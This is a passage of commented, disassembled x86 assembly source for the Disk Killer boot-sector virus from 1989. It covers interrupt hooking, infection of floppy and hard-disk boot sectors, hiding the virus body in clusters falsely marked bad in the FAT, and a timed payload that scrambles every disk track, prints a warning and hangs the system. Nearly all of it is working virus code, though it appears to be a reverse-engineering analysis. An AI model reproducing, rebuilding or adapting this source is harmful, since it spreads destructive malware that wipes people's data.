BIOS disk routines, al=return status + org $-1 +code_patch equ this byte ; code patch to avoid problems + org $+1 ; later when int 13 is replaced + ; with our own routine + retn +rd_sector endp + + db 0 + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE(0167) +; +; N.B.: bx = offset buffer_area on entry (always) +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +rd_bootsector proc near + test drive,80h ; check if hard disk + jz rd_FDbootsector ; Jump if no hard disk + call rd_FDbootsector + jc loc_14 ; error exit + + push bx + mov cx,4 + mov bx,1BEh + +locloop_9: ; ?????? + mov ah,buffer_area[bx] + cmp ah,80h + je loc_10 ; Jump if equal + add bx,10h + loop locloop_9 ; Loop if cx > 0 + + mov marker1,0FFh ; (seg_a:01F3) +;* nop + jmp short loc_14 ; error exit + nop +loc_10: + mov dl,drive ; (seg_a:004A) + mov _drive,dl ; (seg_a:01F4) + mov ax,word ptr buffer_area[bx+1] ; (seg_a:08A3) + and ah,3Fh ; 00111111 + mov _head_sector,ax ; (seg_a:01F5) + mov ah,byte ptr buffer_area[bx+2] ; (seg_a:08A4) + mov cl,6 + shr ah,cl ; Shift w/zeros fill + mov al,byte ptr buffer_area[bx+3] ; (seg_a:08A5) + mov _track,ax ; (seg_a:01F7) + mov marker1,55h ; (seg_a:01F3) +;* nop + pop bx + mov ax,_track ; (seg_a:01F7) + mov track,ax ; (seg_a:0141) + mov ax,_head_sector ; (seg_a:01F5) + mov word ptr head,ax ; (seg_a:013F) head and sector + jmp short loc_12 ; read the sector + nop + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; + +rd_FDbootsector: + mov ax,0 + mov track,ax ; track=0 + inc ah + mov word ptr head,ax ; => head=0, sector=1 + ; => boot sector + +loc_12: ; read sector in track/head/sector/drive + ; N.B.: we get here two ways + mov cx,3 + mov al,1 + +locloop_13: + push cx + call rd_sector ; read sector to bx + pop cx + jnc loc_15 ; Jump if carry=0 (normal exit) + + mov ah,0 + int 83h ; reset disk + loop locloop_13 ; Loop if cx > 0 + +loc_14: + stc ; Set carry flag + retn ; error exit +loc_15: + clc ; Clear carry flag + retn ; normal exit +rd_bootsector endp + +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +; +; Data +; +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + + + db 7 dup (0) +counter_lo dw 0 ; for int 8 (timer interrupt) +counter_hi db 0 ; for int 8 (timer interrupt) +marker1 db 0 ; some sort of marker1? +_drive db 80h +_head_sector dw 101h +_track dw 0 +end_of_bs equ this byte + db 0, 0, 0, 0, 0 + db 55h, 0AAh ; normal end of bs ID + +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +; +; External Entry Point +; +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + +entry: + cli ; Disable interrupts + mov byte ptr cs:code_patch,83h ; (seg_a:0164=13h) + xor ax,ax ; Zero register + mov ds,ax + + ; int 8 -> int 81 + mov ax, word ptr ds:int8_vector ; (0000:0020) + mov word ptr ds:int81_vector,ax ; (0000:0204=0) + mov ax,word ptr ds:int8_vector[2] ; (0000:0022) + mov word ptr ds:int81_vector[2],ax ; (0000:0206=0) + + ; int 13 -> int 83 + mov ax,word ptr ds:int13_vector ; (0000:004C=1DB1h) + mov word ptr ds:int83_vector,ax ; (0000:020C=0) + mov ax,word ptr ds:int13_vector[2] ; (0000:004E=70h) + mov word ptr ds:int83_vector[2],ax ; (0000:020E=0) + + ; hook int 8 + mov ax,offset int_8_entry + mov word ptr ds:int8_vector,ax + + ; hook int 13 + mov ax,offset int_13_entry + mov word ptr ds:int13_vector,ax + + mov ax,cs + mov word ptr ds:int8_vector[2],ax + mov word ptr ds:int13_vector[2],ax + + sti ; Enable interrupts + jmp short loc_16 + nop + + ; entry point into + ; virus if it is + ; already in memory +resident_entry: xor ax,ax ; Zero register + mov ds,ax + mov ax,cs + mov es,ax + mov si,7C03h + mov di,3 + mov cx,47h + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] +loc_16: + xor ax,ax ; Zero register + mov es,ax + mov ax,cs + mov ds,ax + mov ax,original_bs ; (seg_a:0040=48h) + xor dx,dx ; Zero register + call conv_notation + mov bx,7C00h + mov cx,3 + +locloop_17: + push cx + mov al,1 + call rd_sector + jnc loc_18 ; Jump if carry=0 + mov ah,0 + int 83h + pop cx + loop locloop_17 ; Loop if cx > 0 + + int 18h ; ROM basic +loc_18: +; jmp far ptr [0000:7C00h] + db 0eah, 0, 7ch, 0, 0 + +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +; +; External Entry Point for Timer Interrupt +; +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + +int_8_entry: + inc cs:counter_lo ; (seg_a:01F0=0) + jnz loc_19 ; Jump if not zero + inc cs:counter_hi ; (seg_a:01F2=0) +loc_19: + int 81h + iret ; Interrupt return + + +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +; +; External Entry Point for Keyboard Interrupt +; +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + +int_9_entry: + int 82h + retf 2 ; Return far + + +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +; +; External Entry Point for BIOS Disk Services +; +; capture all reads from disk +; +; if (function == READ) +; AND (counter_lo > 0) # within a 20.71 hour period +; AND (counter_hi = 30h) # after 993.96 hours (41 days) +; then damage! +; +; +; +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + +int_13_entry: + sti ; Enable interrupts + cmp ah,2 ; READ SECTOR + jne int_13_exit ; Jump if not equal + cmp cs:counter_lo,0 ; (seg_a:01F0) + jbe loc_20 ; Jump if below or = + cmp cs:counter_hi,30h ; (seg_a:01F2) + jne loc_20 ; Jump if not equal + jmp damage ; (05C2) let's have some fun +loc_20: + test dl,80h ; is drive a hard disk + jnz loc_22 ; Jump if hard disk (bit 7 set) + + test cl,0C0h ; are the 2 high bit set: good sign the media is wierd + jnz int_13_exit ; Jump if not zero: leave + cmp ch,0 + jne int_13_exit ; Jump if not equal: leave + cmp dh,0 + je loc_23 ; Jump if equal +int_13_exit: + jmp _int_13_exit ; (034A) vamoush + + ; drive is hard disk! +loc_22: + test cs:marker1,0AAh ; BS was probably source of + ; of virus, else was just + ; infected. + jz loc_23 ; Jump if zero + + ; does data match with + ; source of virus? + + cmp dl,cs:_drive ; (seg_a:01F4) + jne int_13_exit ; Jump if not equal: leave + cmp dh,byte ptr cs:_head_sector ; (seg_a:01F5) + jne int_13_exit ; Jump if not equal: leave + cmp ch,byte ptr cs:_track ; (seg_a:01F7) + jne int_13_exit ; Jump if not equal: leave + dec cs:counter2 ; (seg_a:034F) + jnz int_13_exit ; Jump if not zero: leave + mov cs:marker2,0FFh ; mark HD + nop + ; HD or FD drive: + ; lets get down to the + ; nitty-gritty +loc_23: + push ax + push bx + push cx + push dx + push ds + push es + push si + mov ax,cs + mov ds,ax + mov es,ax ; es = ds = cs + + cmp byte ptr marker2,0FFh + jne loc_24 ; Jump if not equal + + call update_bs_data ; (0352) + jc loc_27 ; Jump if carry Set + jmp short loc_28 ; (0343) + nop + ; it was a FD + +loc_24: ; load the BS + mov drive,dl ; (seg_a:004A) + lea bx,buffer_area ; (seg_a:08A2) Load effective addr + call rd_bootsector ; (0167) + jc loc_27 ; Jump if error + + mov ax,[bx][offset ogre_ID] + nop ;*Fixup for MASM (M) + cmp ax,ID_word ; is BS infected? + jne loc_25 ; Jump if not equal + + test drive,80h ; (seg_a:004A) + jz loc_28 ; Jump if zero + mov marker1,0AAh ; (seg_a:01F3) + jmp short loc_28 + nop +loc_25: ; infect a FD + call cp_boot_record ; copy the boot record to + + test drive,80h ; (seg_a:004A) + jnz loc_26 ; Jump if not zero + call infect_FD ; (04A8) + jc loc_27 ; Jump if carry Set + jmp short loc_28 + nop +loc_26: ; infect a HD + call infect_HD + jc loc_27 ; Jump if error +loc_27: + nop +loc_28: + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax +_int_13_exit: + int 83h + retf 2 ; Return far + +counter2 db 1 ; could this be some sort of counter? +marker2 db 0 ; is disk HD or FD +marker3 db 0 + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE(0352) +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +update_bs_data proc near + mov counter2,10h ; (seg_a:034F) + mov marker2,0 ; (seg_a:0350) + mov drive,dl ; (seg_a:004A) + lea bx,buffer_area ; (seg_a:08A2) Load effective addr + call rd_bootsector + cmp word ptr [bx][offset ogre_ID],ID_word + nop ;*Fixup for MASM (M) + je loc_30 ; Jump if equal + mov marker1,0 ; (seg_a:01F3) + retn +loc_30: + cmp marker3,77h ; (seg_a:0351=0) + je loc_31 ; Jump if equal + mov ax,[bx][offset counter_lo] + add counter_lo,ax ; (seg_a:01F0=0) + mov al,counter_hi ; (seg_a:01F2=0) + adc counter_hi,al ; (seg_a:01F2=0) + mov marker3,77h ; (seg_a:0351=0) +loc_31: + mov ax,counter_lo + mov [bx][offset counter_lo],ax + mov al,counter_hi + mov [bx][offset counter_hi],al + mov ax,[bx][offset _head_sector] + mov word ptr head,ax + mov ax,[bx][offset _track] + mov track,ax + mov al,1 + lea bx,buffer_area ; (seg_a:08A2) Load effective addr + call wr_sector + mov marker1,0AAh ; (seg_a:01F3) + retn +update_bs_data endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE(03BB) +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +infect_HD proc near + mov ax,word ptr SpecialResSectors ; (seg_a:001C=0) + cmp ax,5 + jbe loc_32 ; Jump if below or = + dec ax + xor dx,dx ; Zero register + mov original_bs,ax ; (seg_a:0040) + call conv_notation + mov al,1 + lea bx,buffer_area ; (seg_a:08A2) Load effective addr + call wr_sector ; (0147) + jc loc_32 ; Jump if carry Set + mov ax,original_bs ; (seg_a:0040) + xor dx,dx ; Zero register + sub ax,4 + call wr_virus_body ; (03F6) + jc loc_32 ; Jump if carry Set + call replace_bs ; (052D) + jc loc_32 ; Jump if carry Set + mov marker1,0AAh ; (seg_a:01F3) + clc ; Clear carry flag + retn +loc_32: + stc ; Set carry flag + retn +infect_HD endp + +last_data_cluster dw 162h ; last cluster available on disk +free_clusters db 3 +required_clusters db 3 + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; wr_virus_body SUBROUTINE(03F6) +; +; write the virus body to the sector pointed to by dx:ax +; input: dx:ax +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +wr_virus_body proc near + mov word ptr virus_body,ax ; (seg_a:0042) + mov word ptr virus_body[2],dx ; (seg_a:0044) + call conv_notation ; (00F4) + test drive,80h ; is HD? + jnz loc_33 ; Jump if HD + mov marker3,0 ; (seg_a:0351) +loc_33: ; + mov counter2,1 ; (seg_a:034F) + lea bx,cs:[200h] ; Load effective addr + mov al,4 + call wr_sector ; (0147) + mov marker3,77h ; (seg_a:0351) + retn +wr_virus_body endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE(0420) +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +flag_bad_sectors proc near + mov ax,4 + inc ax + div SectorsPerCluster ; (seg_a:000D=2) al,ah rem = ax/data + mov required_clusters,al ; (seg_a:03F5=3) + cmp ah,0 + je loc_34 ; Jump if equal + inc required_clusters ; (seg_a:03F5) + ; required_clusters = round(5/SectorsPerCluster) +loc_34: + mov ax,BytesPerSector ; (seg_a:000B=200h) + mov cl,20h + div cl ; al, ah rem = ax/reg + mov cl,al + mov ax,RootDirEntries ; (seg_a:0011=70h) + div cl ; al, ah rem = ax/reg + add ax,ReservedSectors ; (seg_a:000E=1) + mov bx,ax + mov ax,SectorsPerFAT ; (seg_a:0016=2) + mul FATcopies ; (seg_a:0010=2) ax = data * al + add bx,ax + mov first_data_sec,bx + ; first_data_sec = (RootDirEntries/(BytesPerSector/20))+ReservedSectors + ; + (SectorsPerFAT*FATcopies) + ; eg 70h/(200h/20h)+1+(2*2) = 0ch + + mov ax,SectorsPerDisk ; (seg_a:0013=2D0h) + sub ax,bx + mov cl,SectorsPerCluster ; (seg_a:000D=2) + xor dx,dx ; Zero register + xor ch,ch ; Zero register + div cx ; ax,dx rem=dx:ax/reg + mov last_data_cluster,ax ; (seg_a:03F2) + ; last_data_cluster = (SectorsPerDisk - first_data_sec)/SectorsPerCluster + ; eg (2d0h-0ch)/2 = 162h + + mov cx,23h +loc_35: + call rd_FATrec ; (0577) + cmp dx,0 ; free sector + jne loc_36 ; Jump if not equal + inc free_clusters ; (seg_a:03F4) + mov al,free_clusters ; (seg_a:03F4) + cmp al,required_clusters ; (seg_a:03F5) + jne loc_37 ; Jump if not equal + jmp short loc_38 ; (0490) + nop +loc_36: + mov free_clusters,0 ; (seg_a:03F4) +loc_37: + inc cx + cmp cx,last_data_cluster ; (seg_a:03F2=162h) + jne loc_35 ; Jump if not equal + + stc ; Set carry flag + retn +loc_38: + call wr_bad_FATrec ; (0596) + dec cx + dec al + jnz loc_38 ; Jump if not zero + inc cx + mov last_bad_FATrec,cx ; (seg_a:04A1=11Eh) + clc ; Clear carry flag + retn +flag_bad_sectors endp + +_ReservedSectors dw 1 ; stores ReservedSectors +last_bad_FATrec dw 11Eh ; stores the last FAT record to be marked bad +first_data_sec dw 0Ch ; first available sector on disk + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; infect_FD SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +loc_39: + jmp loc_40 ; (052B) + +infect_FD proc near + mov ax,ReservedSectors ; (seg_a:000E=1) + mov _ReservedSectors,ax ; (seg_a:049F) + xor dx,dx ; Zero register + call conv_notation ; (00F4) + lea bx,buffer_area ; (seg_a:08A2) Load effective addr + mov ax,SectorsPerFAT ; (seg_a:0016=2) + call rd_sector ; (0143) + jc loc_39 ; Jump if carry Set + call flag_bad_sectors ; (0420) + jc loc_39 ; Jump if carry Set + lea bx,buffer_area ; (seg_a:08A2) Load effective addr + mov ax,SectorsPerFAT ; (seg_a:0016=2) + call wr_sector ; (0147) + jc loc_39 ; Jump if carry Set + mov ax,_ReservedSectors ; (seg_a:049F=1) + add ax,SectorsPerFAT ; (seg_a:0016=2) + xor dx,dx ; Zero register + call conv_notation ; (00F4) + lea bx,buffer_area ; (seg_a:08A2) Load effective addr + mov ax,SectorsPerFAT ; (seg_a:0016=2) + call wr_sector ; (0147) + jc loc_39 ; Jump if carry Set + mov ax,last_bad_FATrec ; (seg_a:04A1=11Eh) + sub ax,2 + xor dx,dx ; Zero register + mul SectorsPerCluster ; (seg_a:000D=2) ax = data * al + add ax,first_data_sec ; (seg_a:04A3=0Ch) + call wr_virus_body ; (03F6) + jc loc_40 ; Jump if carry Set + lea bx,buffer_area ; (seg_a:08A2) Load effective addr + call rd_bootsector ; (0167) + jc loc_40 ; Jump if carry Set + mov ax,word ptr virus_body ; (seg_a:0042=44h) + mov dx,word ptr virus_body[2] ; (seg_a:0044=0) + add ax,4 + adc dx,0 + mov original_bs,ax ; (seg_a:0040=48h) + call conv_notation ; (00F4) + lea bx,buffer_area ; (seg_a:08A2) Load effective addr + mov al,1 + call wr_sector ; (0147) + jc loc_40 ; Jump if carry Set + call replace_bs ; (052D) + jc loc_40 ; Jump if carry Set + clc ; Clear carry flag + retn +loc_40: + stc ; Set carry flag + retn +infect_FD endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE(052d) +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +replace_bs proc near + lea si,ds:start ; (seg_a:0000=0FAh) Load effective addr + lea di,cs:buffer_area ; (seg_a:08A2) Load effective addr + lea cx,cs:end_of_bs ; Load effective addr + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + + ; patch various places + lea bx,buffer_area ; (seg_a:08A2) Load effective addr + mov byte ptr ds:[bx][offset code_patch],13h ; (seg_a:0164=13h) + mov word ptr [bx][offset counter_lo],0 ; (seg_a:01F0=0) + mov byte ptr [bx][offset counter_hi],0 ; (seg_a:01F2=0) + + test drive,80h ; (seg_a:004A=0) + jnz loc_41 ; Jump if not zero + mov byte ptr [bx][offset marker1],0 ; (seg_a:01F3=0) + jmp short loc_42 ; (0564) + nop +loc_41: + mov byte ptr [bx][offset marker1],0AAh ; (seg_a:01F3) +loc_42: + mov ax,[bx][offset SectorsPerTrack] +;* nop ;*Fixup for MASM (M) + + xor dx,dx ; Zero register + call conv_notation + + mov al,1 + lea bx,buffer_area ; (seg_a:08A2) Load effective addr + call wr_sector + retn +replace_bs endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; rd_FATrec SUBROUTINE(0577) +; +; reads the required 12bit FAT entry +; +; input in cx (eg. 23h) +; output in dx +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +rd_FATrec proc near + push cx + lea si,buffer_area ; (seg_a:08A2) Load effective addr + mov bx,cx + shl bx,1 ; Shift w/zeros fill + add bx,cx + shr bx,1 ; Shift w/zeros fill + ; bx = 1.5 * cx + mov dx,[bx+si] + test cx,1 + jz loc_43 ; Jump if zero + mov cl,4 + shr dx,cl ; Shift w/zeros fill + ; correct odd entries + +loc_43: + and dx,0FFFh + pop cx + retn +rd_FATrec endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; wr_bad_FATrec SUBROUTINE(0596) +; +; mark FAT entry as bad +; input in cx +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +wr_bad_FATrec proc near + push cx + lea si,buffer_area ; (seg_a:08A2) Load effective addr + mov bx,cx + shl bx,1 ; Shift w/zeros fill + add bx,cx + shr bx,1 ; Shift w/zeros fill + ; x = 1.5 * cx + mov dx,[bx+si] + test cx,1 + jz loc_44 ; Jump if zero + ; for odd entries: + and dx,0Fh + nop ;*Fixup for MASM (M) + or dx,0FF70h ; mark as bad + jmp short loc_45 ; (05BE) + nop +loc_44: ; for even entries: + and dx,0F000h + or dx,0FF7h ; mark as bad +loc_45: + mov [bx+si],dx + pop cx + retn +wr_bad_FATrec endp + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; damage the disk(05c2) +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + + +damage: ; damage the disk + mov byte ptr cs:code_patch,13h ; restore the patched code + cli ; Disable interrupts + xor ax,ax ; Zero register + mov ds,ax + ASSUME ds:seg_0 + ; int 9 -> int 82 + mov ax,word ptr ds:int9_vector ; (0000:0024) + mov word ptr ds:int82_vector,ax ; (0000:0208) + mov ax,word ptr ds:int9_vector[2] ; (0000:0026) + mov word ptr ds:int82_vector[2],ax ; (0000:020A) + + ; int_9_entry -> int 9 + mov ax,offset int_9_entry ; (028A) + mov word ptr int9_vector,ax ; (0000:0024) + mov ax,cs + mov word ptr int9_vector[2],ax ; (0000:0026) + + ; restore all other interrupts + mov ax,word ptr ds:int81_vector ; (0000:0204) + mov word ptr int8_vector,ax ; (0000:0020) + mov ax,word ptr ds:int81_vector[2] ; (0000:0206) + mov word ptr int8_vector[2],ax ; (0000:0022) + mov ax,word ptr ds:int83_vector ; (0000:020C) + mov word ptr int13_vector,ax ; (0000:004C) + mov ax,word ptr ds:int83_vector[2] ; (0000:020E) + mov word ptr int13_vector[2],ax ; (0000:004E) + sti ; Enable interrupts + + mov ax,cs + mov ds,ax + mov es,ax + ASSUME ds:seg_a, es:seg_a + + sub ax,1000h + mov store_es,ax ; (seg_a:0862) + cmp marker1,0 ; (seg_a:01F3) + je loc_46 ; Jump if equal + mov dl,_drive ; (seg_a:01F4) +loc_46: + mov drive,dl ; (seg_a:004A) + lea bx,buffer_area ; (seg_a:08A2) Load effective addr + call rd_bootsector ; (0167) + call cp_boot_record ; (0813) + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + mov ah,0 + int 10h ; Video display ah=functn 00h + ; set display mode in al + mov ax,600h + mov cx,0 + mov dx,184Fh + mov bx,7 + int 10h ; Video display ah=functn 06h + ; scroll up, al=lines + mov ah,2 + mov bh,0 + mov dx,10Eh + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + mov bx,70h + mov si,offset str_title ; (seg_a:073A) + call display_str ; (0889) + mov ah,2 + mov bh,0 + mov dx,1523h + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + mov bx,2Eh + mov si,offset str_warning ; (seg_a:0774) + call display_str ; (0889) + mov ah,2 + mov bh,0 + mov dx,0C23h + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + mov bx,8Ch + mov si,offset str_processing ; (seg_a:07D2) + call display_str ; (0889) + + ; annihilate 200h of the buffer area + lea ax,buffer_area ; (seg_a:08A2) Load effective addr + mov di,ax + mov ax,0 + mov cx,BytesPerSector ; (seg_a:000B=200h) + cld ; Clear direction + rep stosb ; Rep when cx >0 Store al to es:[di] + + mov ax,SectorsPerTrack ; (seg_a:0018=9) + mov word ptr buffer_area[6],ax ; (seg_a:08A8) + mov cx,BytesPerSector ; (seg_a:000B=200h) + mov word ptr buffer_area[2],cx ; (seg_a:08A4) + mul cx ; dx:ax = reg * ax + shr ax,1 ; Shift w/zeros fill + mov words_to_mangle,ax ; (seg_a:0860) + mov ax,SectorsPerDisk ; (seg_a:0013=2D0h) + xor dx,dx ; Zero register + div SectorsPerTrack ; (seg_a:0018=9) ax,dxrem=dx:ax/data + mov cx,ax + push cx + mov word ptr buffer_area[4],ax ; (seg_a:08A6) + mov bx,0 + mov head,bl ; (seg_a:013F) + mov track,bx ; (seg_a:0141) + mov sector,1 ; (seg_a:0140) + mov ax,store_es ; (seg_a:0862) + mov es,ax + mov al,1 + call rd_sector ; (0143) + inc sector ; (seg_a:0140) + call wr_sector ; (0147) + pop cx + mov ax,0 + +locloop_47: + push cx + mov bx,0 + call rd_track ; (0822) + jc loc_48 ; Jump if carry Set + mov bx,0 + call mangle_track ; (0864) + mov bx,0 + call wr_track ; (082A) + jnc loc_49 ; Jump if carry=0 +loc_48: + push ax + push cx + mov cl,8 + div cl ; al, ah rem = ax/reg + lea bx,word ptr buffer_area[8]; (seg_a:08AA=0) Load effective addr + mov cl,ah + xor ah,ah ; Zero register + add bx,ax + mov al,80h + shr al,cl ; Shift w/zeros fill + or al,[bx] + mov [bx],al + pop cx + pop ax +loc_49: + inc ax + pop cx + loop locloop_47 ; Loop if cx > 0 + + mov head,0 ; (seg_a:013F=0) + mov track,0 ; (seg_a:0141=4) + mov sector,1 ; (seg_a:0140=1) + mov ax,cs + mov es,ax + mov bx,offset buffer_area ; (seg_a:08A2) + mov al,1 + call wr_sector ; (0147) + mov ax,600h + mov cx,0 + mov dx,184Fh + mov bx,8 + int 10h ; Video display ah=functn 06h + ; scroll up, al=lines + mov ah,2 + mov bh,0 + mov dx,0C00h + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + mov bx,2Ch + mov si,offset str_good_luck ; (seg_a:07DF) + call display_str ; (0889) + +loc_50: ; Hang the system + jmp short loc_50 ; (0738) + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; Texts +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +str_title db 'Disk Killer -- Version 1.00 by COMPUTER OGRE 04/01/1989', 0Dh, 0Ah, 0 +str_warning db 'Warning !!', 0Dh, 0Ah, 0Ah + db 'Don', 27h, 't turn off the power or remove the diskette while Disk Killer is Processing!', 0 +str_processing db 'PROCESSING', 0Dh, 0Ah, 0 +str_good_luck db 'Now you can turn off the power.', 0Dh, 0Ah, 0Ah + db 'I wish you luck !', 0 + 